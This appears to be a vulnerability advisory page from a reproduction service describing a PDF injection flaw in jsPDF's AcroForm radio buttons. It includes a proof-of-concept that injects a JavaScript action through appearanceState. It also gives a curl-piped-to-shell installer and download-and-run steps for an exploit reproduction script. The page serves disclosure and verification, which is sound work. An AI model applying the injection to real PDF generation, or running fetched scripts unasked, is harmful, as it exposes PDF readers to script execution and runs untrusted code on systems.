Human
Machine
REPRO-2026-00102 HIGH XSS
Verified
jsPDF: PDF Injection in AcroForm RadioButton allows JS Execution
jspdf (npm) Feb 19, 2026
What's the vulnerability?
User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.
If given the possibility to pass unsanitized input to one of the following property, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim hovers over the radio option.
AcroformChildClass.appearanceState
Example attack vector:
import { jsPDF } from "jspdf"
const doc = new jsPDF();
const group = new doc.AcroFormRadioButton();
group.x = 10; group.y = 10; group.width = 20; group.height = 10;
doc.addField(group);
const child = group.createOption("opt1");
child.x = 10; child.y = 10; child.width = 20; child.height = 10;
child.appearanceState = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>";
doc.save("test.pdf");
Root Cause Analysis
One Command
Verify with pruva-verify
Run the Pruva CLI to automatically fetch and execute the reproduction script.
pruva-verify REPRO-2026-00102 or
pruva-verify GHSA-p5xg-68wr-hm3m or
pruva-verify CVE-2026-25940 Install:
curl -fsSL https://pruva.dev/install.sh | sh Or Run Manually
1
Download the script
curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00102/artifacts/repro/reproduction_steps.sh 2
Make executable
chmod +x reproduction_steps.sh 3
Run the script
./reproduction_steps.sh Run in a VM, container, or disposable environment. This exploits a real vulnerability.
How Pruva Reproduced This
Watch the AI agent's step-by-step process.
Loading session...
Artifacts
repro/rca_report.md6.2 KBrepro/reproduction_steps.sh3.4 KBbundle/ticket.md2.0 KBbundle/source.json4.1 KBbundle/ticket.json6.8 KBrepro/test_vuln.js2.7 KBlogs/variant_results.txt0.8 KBlogs/test_bypass_defaultvalue.js1.2 KBlogs/test_variant4.js0.9 KBlogs/test_bypass_value.js1.6 KBlogs/test_variant2.js0.9 KBlogs/test_variant5.js0.9 KBlogs/test_fixed_appearancestate.js1.3 KBlogs/test_variant6.js0.8 KBlogs/variant_run.log2.3 KBlogs/test_variant3.js0.8 KBlogs/test_variant1.js0.9 KB